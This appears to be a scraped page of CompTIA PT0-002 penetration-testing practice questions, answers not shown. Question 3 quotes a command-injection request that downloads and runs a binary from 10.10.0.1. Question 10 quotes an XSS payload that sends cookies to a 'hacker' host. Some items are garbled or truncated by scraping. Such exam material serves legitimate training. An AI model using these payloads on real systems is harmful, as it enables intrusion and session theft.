CompTIA PT0-002 Practice Exam Questions

CompTIA PT0-002 Sample Question Answers

Question # 1

A penetration tester has been hired to perform a physical penetration test to gain access toa secure room within a client’s building. Exterior reconnaissance identifies two entrances, aWiFi guest network, and multiple security cameras connected to the Internet.Which of the following tools or techniques would BEST support additional reconnaissance?c

A. Wardriving
B. Shodan
C. Recon-ng
D. Aircrack-ng

Show Answer

Question # 2

Given the following script:while True:print ("Hello World")Which of the following describes True?

A. A while loop
B. A conditional
C. A Boolean operator
D. An arithmetic operator

Show Answer

Question # 3

A penetration tester was able to gain access to a system using an exploit. The following isa snippet of the code that was utilized:exploit = “POST ”exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”exploit += “HTTP/1.1”Which of the following commands should the penetration tester run post-engagement?

A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM “apache” /F

Show Answer

Question # 4

A penetration tester has obtained shell access to a Windows host and wants to run aspecially crafted binary for later execution using the wmic.exe process call create function.Which of the following OS or filesystem mechanisms is MOST likely to support thisobjective?

A. Alternate data streams
B. PowerShell modules
C. MP4 steganography
D. PsExec

Show Answer

Question # 5

Which of the following is a regulatory compliance standard that focuses on user privacy byimplementing the right to be forgotten?

A. NIST SP 800-53
B. ISO 27001
C. GDPR

Show Answer

Question # 6

Penetration on an assessment for a client organization, a penetration tester noticesnumerous outdated software package versions were installed ...s-critical servers. Which ofthe following would best mitigate this issue?

A. Implementation of patching and change control programs
B. Revision of client scripts used to perform system updates
C. Remedial training for the client's systems administrators
D. Refrainment from patching systems until quality assurance approves

Show Answer

Question # 7

Which of the following OSSTM testing methodologies should be used to test under theworst conditions?

A. Tandem
B. Reversal
C. Semi-authorized
D. Known environment

Show Answer

Question # 8

A client wants a security assessment company to perform a penetration test against its hotsite. The purpose of the test is to determine the effectiveness of the defenses that protectagainst disruptions to business continuity. Which of the following is the MOST importantaction to take before starting this type of assessment?

A. Ensure the client has signed the SOW.
B. Verify the client has granted network access to the hot site.
C. Determine if the failover environment relies on resources not owned by the client.
D. Establish communication and escalation procedures with the client.

Show Answer

Question # 9

Which of the following factors would a penetration tester most likely consider when testingat a location?

A. Determine if visas are required.
B. Ensure all testers can access all sites.
C. Verify the tools being used are legal for use at all sites.
D. Establish the time of the day when a test can occur.

Show Answer

Question # 10

Given the following code: var+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SCvar+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SC RIPT>Which of the following are the BEST methods to prevent against this type of attack?(Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding
D. Session tokens
E. Input validation
F. Base64 encoding

Show Answer